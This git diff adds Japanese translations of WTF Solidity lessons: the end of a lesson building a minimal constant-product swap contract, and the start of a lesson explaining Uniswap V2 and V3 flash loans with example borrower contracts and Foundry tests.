+流動性プロバイダーは市場に流動性を提供し、トレーダーがより良い価格と流動性を得られるようにし、一定の手数料を受け取ります。 + +まず、流動性追加機能を実装する必要があります。ユーザーがトークンプールに流動性を追加する際、コントラクトは追加されたLP持分を記録する必要があります。Uniswap V2によると、LP持分は以下のように計算されます: + +1. トークンプールに初回流動性追加時、LP持分 $\Delta{L}$ は追加トークン数量積の平方根で決定されます: + + $$\Delta{L}=\sqrt{\Delta{x} *\Delta{y}}$$ + +2. 初回以外の流動性追加時、LP持分は追加トークン数量がプールトークン準備量に占める比率で決定されます(2つのトークンの比率のうち小さい方を取る): + + $$\Delta{L}=L*\min{(\frac{\Delta{x}}{x}, \frac{\Delta{y}}{y})}$$ + +`SimpleSwap` コントラクトはERC20トークン標準を継承しているため、LP持分を計算後、持分をトークン形式でユーザーにミントできます。 + +以下の `addLiquidity()` 関数は流動性追加機能を実装し、主な手順は以下の通りです: + +1. ユーザーが追加したトークンをコントラクトに転送します。ユーザーは事前にコントラクトに承認を与える必要があります。 +2. 公式に基づいて追加された流動性持分を計算し、ミントされるLP数量をチェックします。 +3. コントラクトのトークン準備量を更新します。 +4. 流動性プロバイダーにLPトークンをミントします。 +5. `Mint` イベントを発行します。 + +```solidity +event Mint(address indexed sender, uint amount0, uint amount1); + +// 流動性を追加、トークンを転送、LPをミント +// @param amount0Desired 追加するtoken0数量 +// @param amount1Desired 追加するtoken1数量 +function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // 追加する流動性をSwapコントラクトに転送、事前にSwapコントラクトに承認が必要 + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // 追加する流動性を計算 + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // 初回流動性追加の場合、L = sqrt(x * y) 単位のLP(流動性プロバイダー)トークンをミント + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // 初回以外の場合、追加するトークン数量の比率でLPをミント、2つのトークンのうち小さい方の比率を取る + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // ミントされるLP数量をチェック + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // 流動性プロバイダーにLPトークンをミント、提供した流動性を表す + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); +} +``` + +次に、流動性除去機能を実装する必要があります。ユーザーがプールから流動性 $\Delta{L}$ を除去する際、コントラクトはLP持分トークンを焼却し、比率に応じてトークンをユーザーに返還する必要があります。返還トークンの計算公式は以下の通りです: + +$$\Delta{x}={\frac{\Delta{L}}{L} * x}$$ + +$$\Delta{y}={\frac{\Delta{L}}{L} * y}$$ + +以下の `removeLiquidity()` 関数は流動性除去機能を実装し、主な手順は以下の通りです: + +1. コントラクト内のトークン残高を取得します。 +2. LPの比率に応じて転送するトークン数量を計算します。 +3. トークン数量をチェックします。 +4. LP持分を焼却します。 +5. 対応するトークンをユーザーに転送します。 +6. 準備量を更新します。 +7. `Burn` イベントを発行します。 + +```solidity +// 流動性を除去、LPを焼却、トークンを転送 +// 転送数量 = (liquidity / totalSupply_LP) * reserve +// @param liquidity 除去する流動性数量 +function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // 残高を取得 + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // LPの比率に応じて転送するトークン数量を計算 + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // トークン数量をチェック + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // LPを焼却 + _burn(msg.sender, liquidity); + // トークンを転送 + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); +} +``` + +ここまでで、コントラクト内の流動性プロバイダー関連機能が完成しました。次は取引の部分です。 + +### 取引 + +Swapコントラクトでは、ユーザーは一種のトークンで他の種類を取引できます。では、$\Delta{x}$ 単位のtoken0で、何単位のtoken1と交換できるでしょうか?以下で簡単に導出してみましょう。 + +恒定積公式により、取引前: + +$$k=x*y$$ + +取引後: + +$$k=(x+\Delta{x})*(y+\Delta{y})$$ + +取引前後で $k$ 値は不変なので、上記等式を連立すると: + +$$\Delta{y}=-\frac{\Delta{x}*y}{x+\Delta{x}}$$ + +したがって、交換できるトークン数量 $\Delta{y}$ は $\Delta{x}$、$x$、および $y$ によって決定されます。注意すべきは、$\Delta{x}$ と $\Delta{y}$ の符号が逆であることです。これは、転入がトークン準備量を増加させ、転出が減少させるためです。 + +以下の `getAmountOut()` は、アセットの数量とトークンペアの準備金が与えられた場合、交換する他のトークンの数量を計算する実装です。 + +```solidity +// アセットの数量とトークンペアの準備金が与えられた場合、交換する他のトークンの数量を計算 +function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); +} +``` + +この核心公式により、取引機能の実装に着手できます。以下の `swap()` 関数はトークン取引機能を実装し、主な手順は以下の通りです: + +1. ユーザーは関数呼び出し時に交換に使用するトークン数量、交換するトークンアドレス、および交換により得られる他のトークンの最小数量を指定します。 +2. token0をtoken1に交換するか、token1をtoken0に交換するかを判断します。 +3. 上記公式を利用して、交換により得られるトークンの数量を計算します。 +4. 交換により得られるトークンがユーザー指定の最小数量に達しているかを判断します。これは取引のスリッページに類似しています。 +5. ユーザーのトークンをコントラクトに転送します。 +6. 交換されたトークンをコントラクトからユーザーに転送します。 +7. コントラクトのトークン準備量を更新します。 +8. `Swap` イベントを発行します。 + +```solidity +// トークンをswap +// @param amountIn 交換に使用するトークン数量 +// @param tokenIn 交換に使用するトークンコントラクトアドレス +// @param amountOutMin 交換して得られる他のトークンの最小数量 +function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // token0をtoken1に交換する場合 + tokenOut = token1; + // 交換できるtoken1数量を計算 + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 交換を実行 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // token1をtoken0に交換する場合 + tokenOut = token0; + // 交換できるtoken1数量を計算 + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 交換を実行 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); +} +``` + +## Swapコントラクト + +`SimpleSwap` の完全なコードは以下の通りです: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + // トークンコントラクト + IERC20 public token0; + IERC20 public token1; + + // トークン準備金 + uint public reserve0; + uint public reserve1; + + // イベント + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // コンストラクタ、トークンアドレスを初期化 + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // 2つの数の最小値を取得 + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // 平方根を計算 babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // 流動性を追加、トークンを転送、LPをミント + // 初回追加の場合、ミントされるLP数量 = sqrt(amount0 * amount1) + // 初回以外の場合、ミントされるLP数量 = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired 追加するtoken0数量 + // @param amount1Desired 追加するtoken1数量 + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // 追加する流動性をSwapコントラクトに転送、事前にSwapコントラクトに承認が必要 + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // 追加する流動性を計算 + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // 初回流動性追加の場合、L = sqrt(x * y) 単位のLP(流動性プロバイダー)トークンをミント + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // 初回以外の場合、追加するトークン数量の比率でLPをミント、2つのトークンのうち小さい方の比率を取る + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // ミントされるLP数量をチェック + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // 流動性プロバイダーにLPトークンをミント、提供した流動性を表す + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + + // 流動性を除去、LPを焼却、トークンを転送 + // 転送数量 = (liquidity / totalSupply_LP) * reserve + // @param liquidity 除去する流動性数量 + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // 残高を取得 + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // LPの比率に応じて転送するトークン数量を計算 + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // トークン数量をチェック + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // LPを焼却 + _burn(msg.sender, liquidity); + // トークンを転送 + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + + // アセットの数量とトークンペアの準備金が与えられた場合、交換する他のトークンの数量を計算 + // 積が一定のため + // 交換前: k = x * y + // 交換後: k = (x + delta_x) * (y + delta_y) + // delta_y = - delta_x * y / (x + delta_x) が得られる + // 正/負号は転入/転出を表す + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // トークンをswap + // @param amountIn 交換に使用するトークン数量 + // @param tokenIn 交換に使用するトークンコントラクトアドレス + // @param amountOutMin 交換して得られる他のトークンの最小数量 + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // token0をtoken1に交換する場合 + tokenOut = token1; + // 交換できるtoken1数量を計算 + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 交換を実行 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // token1をtoken0に交換する場合 + tokenOut = token0; + // 交換できるtoken1数量を計算 + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 交換を実行 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} +``` + +## Remix復現 + +1. 2つのERC20トークンコントラクト(token0とtoken1)をデプロイし、そのコントラクトアドレスを記録します。 + + ![ERC20tokenの作成](img/56-2.jpg) + +2. `SimpleSwap` コントラクトをデプロイし、上記のトークンアドレスを入力します。 + + TOKENアドレスtokenアドレスを渡す + +3. 2つのERC20トークンの `approve()` 関数を呼び出し、それぞれ `SimpleSwap` コントラクトに1000単位のトークンを承認します。 + + token0承認token1承認 + +4. `SimpleSwap` コントラクトの `addLiquidity()` 関数を呼び出して取引所に流動性を追加し、token0とtoken1をそれぞれ100単位追加します。 + + addLiquidityの呼び出しreserve + +5. `SimpleSwap` コントラクトの `balanceOf()` 関数を呼び出してユーザーのLP持分を確認します。これは100になるはずです。($\sqrt{100*100}=100$) + + ![balanceOf](img/56-9.jpg) + +6. `SimpleSwap` コントラクトの `swap()` 関数を呼び出してトークン取引を行い、100単位のtoken0を使用します。 + + ![swap](img/56-10.jpg) + +7. `SimpleSwap` コントラクトの `reserve0` と `reserve1` 関数を呼び出してコントラクト内のトークン準備量を確認します。200と50になるはずです。前のステップで100単位のtoken0を使用して50単位のtoken1と交換しました($\frac{100*100}{100+100}=50$)。 + + ![reserveAfter](img/56-11.jpg) + +## まとめ + +この講義では、恒定積自動マーケットメーカーについて説明し、極簡分散型取引所を作成しました。極簡Swapコントラクトでは、取引手数料やガバナンス部分など、考慮していない部分が多くあります。分散型取引所に興味がある場合は、[Programming DeFi: Uniswap V2](https://jeiwan.net/posts/programming-defi-uniswapv2-1/)と[Uniswap v3 book](https://y1cunhui.github.io/uniswapV3-book-zh-cn/)の閲読をお勧めします。また、[WTF-Dapp](https://github.com/WTFAcademy/WTF-Dapp)コースの学習を続けることもできます。これには分散型取引所の実戦内容が含まれており、より深い学習ができます。 + +## 重要な概念の補足説明 + +### インパーマネントロス(無常損失) +流動性プロバイダーが知っておくべき重要なリスクとして、インパーマネントロス(無常損失)があります。これは、流動性プールに預けたトークンの価格比率が変化した際に発生する損失です。例えば、1:1の比率でトークンを預けた後、片方のトークンの価格が大幅に上昇した場合、単純にトークンを保有していた場合と比較して損失が発生します。 + +### LPトークン +LPトークン(流動性プロバイダートークン)は、ユーザーが流動性プールに提供した流動性の持分を表すトークンです。このトークンは: +- 流動性除去時に必要 +- 流動性プールでの持分比率を表現 +- 取引手数料の分配基準となる(本実装では省略) + +### スリッページ +スリッページは、期待した価格と実際の取引価格の差です。大きな取引や流動性が少ないプールでは、スリッページが大きくなる傾向があります。本コントラクトの `amountOutMin` パラメータは、このスリッページ制御のための機能です。 \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/img/57-1.png b/Languages/ja/57_Flashloan_ja/img/57-1.png new file mode 100644 index 000000000..7199c4c7a Binary files /dev/null and b/Languages/ja/57_Flashloan_ja/img/57-1.png differ diff --git a/Languages/ja/57_Flashloan_ja/readme.md b/Languages/ja/57_Flashloan_ja/readme.md new file mode 100644 index 000000000..9e1d0fe5d --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/readme.md @@ -0,0 +1,498 @@ +--- +title: 57. フラッシュローン +tags: + - solidity + - flashloan + - defi + - uniswap + - aave +--- + +# WTF Solidity極簡入門: 57. フラッシュローン + +私は最近Solidityを再学習しており、基礎を固めるために「WTF Solidity極簡入門」を執筆しています。これは初心者向けのガイドです(プログラミング上級者は他のチュートリアルをご参照ください)。毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはGitHubでオープンソース化されています: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +「フラッシュローン攻撃」という言葉をきっと聞いたことがあるでしょうが、フラッシュローンとは何でしょうか?フラッシュローンコントラクトをどのように作成するのでしょうか?このレッスンでは、ブロックチェーンにおけるフラッシュローンについて紹介し、Uniswap V2、Uniswap V3、およびAAVE V3をベースとしたフラッシュローンコントラクトを実装し、Foundryを使用してテストします。 + +## フラッシュローン + +「フラッシュローン」という概念を初めて聞いたのはきっとWeb3でしょう。Web2にはこのような仕組みは存在しないからです。フラッシュローン(Flashloan)はDeFiの革新的な仕組みで、ユーザーが1つのトランザクション内で資金を借り入れて迅速に返済することを可能にし、担保を提供する必要がありません。 + +例えば、市場で突然裁定取引(アービトラージ)の機会を発見したとしましょう。しかし、裁定取引を完了するには100万USDの資金が必要です。Web2では銀行にローンを申請する必要がありますが、審査が必要で、裁定取引の機会を逃してしまう可能性があります。また、裁定取引が失敗した場合、利息を支払うだけでなく、損失した元本も返済する必要があります。 + +一方、Web3では、DeFiプラットフォーム(Uniswap、AAVE、Dodo)でフラッシュローンを利用して資金を調達できます。無担保で100万USDのトークンを借り、オンチェーン裁定取引を実行し、最後にローンと利息を返済することができます。 + +フラッシュローンはイーサリアムトランザクションのアトミック性を利用しています。1つのトランザクション(その中のすべての操作を含む)は完全に実行されるか、完全に実行されないかのどちらかです。ユーザーがフラッシュローンを使用しようとして、同じトランザクション内で資金を返済しなかった場合、トランザクション全体が失敗してロールバックされ、まるで何も起こらなかったかのようになります。そのため、DeFiプラットフォームは借り手が返済できないことを心配する必要がありません。返済できない場合は、お金が借り出されなかったことを意味するからです。同時に、借り手も裁定取引の失敗を心配する必要がありません。裁定取引が成功しなければ返済できず、それは借入が成功しなかったことを意味するからです。 + +![](./img/57-1.png) + +## フラッシュローン実装 + +以下では、Uniswap V2、Uniswap V3、およびAAVE V3でのフラッシュローンコントラクトの実装方法をそれぞれ紹介します。 + +### 1. Uniswap V2フラッシュローン + +[Uniswap V2 Pair](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159)コントラクトの`swap()`関数はフラッシュローンをサポートしています。フラッシュローンビジネスに関連するコードは以下の通りです: + +```solidity +function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { + // その他のロジック... + + // 楽観的にトークンをtoアドレスに送信 + if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + // toアドレスのコールバック関数uniswapV2Callを呼び出し + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // その他のロジック... + + // k=x*y公式を通じて、フラッシュローンが正常に返済されたかをチェック + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +`swap()`関数では: + +1. まずプールからトークンを楽観的に`to`アドレスに転送します。 +2. 渡された`data`の長さが`0`より大きい場合、`to`アドレスのコールバック関数`uniswapV2Call`を呼び出し、フラッシュローンロジックを実行します。 +3. 最後に`k=x*y`でフラッシュローンが正常に返済されたかをチェックし、成功しなかった場合はトランザクションをロールバックします。 + +以下では、フラッシュローンコントラクト`UniswapV2Flashloan.sol`を完成させます。`IUniswapV2Callee`を継承し、フラッシュローンのコアロジックをコールバック関数`uniswapV2Call`に記述します。 + +全体のロジックは非常にシンプルです。フラッシュローン関数`flashloan()`では、Uniswap V2の`WETH-DAI`プールから`WETH`を借ります。フラッシュローンがトリガーされた後、コールバック関数`uniswapV2Call`がPairコントラクトによって呼び出されます。裁定取引は行わず、利息を計算した後にフラッシュローンを返済します。Uniswap V2フラッシュローンの利息は1回あたり`0.3%`です。 + +**注意**:コールバック関数では適切な権限制御を行い、UniswapのPairコントラクトのみが呼び出せるようにしてください。そうしないと、コントラクト内の資金がハッカーに盗まれる可能性があります。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2フラッシュローンコールバックインターフェース +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2フラッシュローンコントラクト +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // フラッシュローン関数 + function flashloan(uint wethAmount) external { + // calldataの長さが1より大きい場合にフラッシュローンコールバック関数をトリガー + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Outは借りるDAI、amount1Outは借りるWETH + pair.swap(0, wethAmount, address(this), data); + } + + // フラッシュローンコールバック関数、DAI/WETH pairコントラクトのみが呼び出し可能 + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // DAI/WETH pairコントラクトからの呼び出しであることを確認 + address token0 = IUniswapV2Pair(msg.sender).token0(); // token0アドレスを取得 + address token1 = IUniswapV2Pair(msg.sender).token1(); // token1アドレスを取得 + assert(msg.sender == factory.getPair(token0, token1)); // msg.senderがV2ペアであることを確認 + + // calldataをデコード + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // フラッシュローンロジック、ここでは省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // フラッシュローン手数料を計算 + // fee / (amount + fee) = 3/1000 + // 切り上げ + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // フラッシュローンを返済 + weth.transfer(address(pair), amountToRepay); + } +} +``` + +Foundryテストコントラクト`UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手数料が不足している場合、リバートする + function testFlashloanFail() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + // 手数料不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +テストコントラクトでは、手数料が充分な場合と不足している場合をそれぞれテストしています。Foundryインストール後、以下のコマンドラインでテストできます(RPCを他のイーサリアムRPCに変更できます): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Uniswap V3フラッシュローン + +Uniswap V2が`swap()`交換関数でフラッシュローンを間接的にサポートするのとは異なり、Uniswap V3は[Poolプールコントラクト](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L791C1-L835C1)に`flash()`関数を追加してフラッシュローンを直接サポートしています。コアコードは以下の通りです: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // その他のロジック... + + // 楽観的にトークンをtoアドレスに送信 + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + // toアドレスのコールバック関数uniswapV3FlashCallbackを呼び出し + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // フラッシュローンが正常に返済されたかをチェック + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // sub is safe because we know balanceAfter is gt balanceBefore by at least fee + uint256 paid0 = balance0After - balance0Before; + uint256 paid1 = balance1After - balance1Before; + + // その他のロジック... +} +``` + +以下では、フラッシュローンコントラクト`UniswapV3Flashloan.sol`を完成させます。`IUniswapV3FlashCallback`を継承し、フラッシュローンのコアロジックをコールバック関数`uniswapV3FlashCallback`に記述します。 + +全体のロジックはV2と類似しており、フラッシュローン関数`flashloan()`では、Uniswap V3の`WETH-DAI`プールから`WETH`を借ります。フラッシュローンがトリガーされた後、コールバック関数`uniswapV3FlashCallback`がPoolコントラクトによって呼び出されます。裁定取引は行わず、利息を計算した後にフラッシュローンを返済します。Uniswap V3のフラッシュローン手数料は取引手数料と同じです。 + +**注意**:コールバック関数では適切な権限制御を行い、UniswapのPairコントラクトのみが呼び出せるようにしてください。そうしないと、コントラクト内の資金がハッカーに盗まれる可能性があります。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3フラッシュローンコールバックインターフェース +// uniswapV3FlashCallback()関数を実装・オーバーライドする必要があります +interface IUniswapV3FlashCallback { + /// 実装では、flashで送信されたトークンと計算された手数料を + /// プールに返済する必要があります。 + /// このメソッドを呼び出すコントラクトは、公式UniswapV3Factoryで + /// デプロイされたUniswapV3Poolによってチェックされる必要があります。 + /// @param fee0 フラッシュローン終了時にプールに支払うtoken0の手数料 + /// @param fee1 フラッシュローン終了時にプールに支払うtoken1の手数料 + /// @param data IUniswapV3PoolActions#flash呼び出しで呼び出し元から渡された任意のデータ + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3フラッシュローンコントラクト +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // フラッシュローン関数 + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // フラッシュローンコールバック関数、DAI/WETH pairコントラクトのみが呼び出し可能 + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // DAI/WETH pairコントラクトからの呼び出しであることを確認 + require(msg.sender == address(pool), "not authorized"); + + // calldataをデコード + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // フラッシュローンロジック、ここでは省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // フラッシュローンを返済 + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Foundryテストコントラクト`UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV3FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // フラッシュローン借入金額 + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手数料が不足している場合、リバートする + function testFlashloanFail() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + // 手数料不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + 